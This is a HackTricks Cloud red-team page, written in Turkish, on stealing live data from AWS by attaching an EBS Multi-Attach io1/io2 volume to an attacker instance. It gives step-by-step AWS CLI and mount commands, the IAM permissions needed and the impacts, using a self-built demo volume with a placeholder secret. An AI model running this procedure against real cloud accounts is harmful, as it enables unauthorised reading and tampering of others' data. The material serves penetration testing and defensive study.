AWS - Live Data Theft via EBS Multi-Attach
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Özet
EBS Multi-Attach’i kötüye kullanarak aynı Availability Zone (AZ) içindeki saldırgan kontrollü bir instance’a aynı io1/io2 veri volume’unu bağlayıp canlı verileri okuyun. Paylaşılan volume’u salt-okunur olarak mount etmek, snapshot oluşturmadan kullanımda olan dosyalara anında erişim sağlar.
Gereksinimler
- Hedef volume: saldırgan instance ile aynı AZ’de
--multi-attach-enabledile oluşturulmuş io1 veya io2. - İzinler: hedef volume/instance’lar üzerinde
ec2:AttachVolume,ec2:DescribeVolumes,ec2:DescribeInstances. - Altyapı: Multi-Attach’i destekleyen Nitro-based instance types (C5/M5/R5 aileleri, vb.).
Notlar
- Salt-okunur olarak
-o ro,noloadile mount ederek bozulma riskini azaltın ve journal replay’lerini önleyin. - Nitro instance’larda EBS NVMe cihazı kararlı bir
/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...yolu sunar (aşağıda yardımcı betik).
Prepare a Multi-Attach io2 volume and attach to victim
Örnek (us-east-1a’da oluşturup hedefe bağlama):
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
Hedefte, yeni volume’ü formatla/bağla ve hassas verileri yaz (örnek):
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
Aynı volume’u attacker instance’a bağlayın
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
attacker üzerinde read-only mount yap ve verileri oku
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
Beklenen sonuç: Aynı VOL_ID birden fazla Attachments (victim and attacker) gösterir ve attacker, victim tarafından yazılmış dosyaları herhangi bir snapshot oluşturmadan okuyabilir.
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
Yardımcı: NVMe aygıt yolunu Volume ID ile bul
Nitro instances üzerinde, Volume ID’yi gömen kararlı by-id yolunu kullanın ( vol’dan sonraki tireyi kaldırın):
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
Etkiler
- Hedef EBS hacmindeki canlı verilere, snapshots oluşturmadan anında okuma erişimi.
- Eğer read-write olarak bağlanmışsa, saldırgan kurbanın dosya sistemine müdahale edebilir (bozulma riski).
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

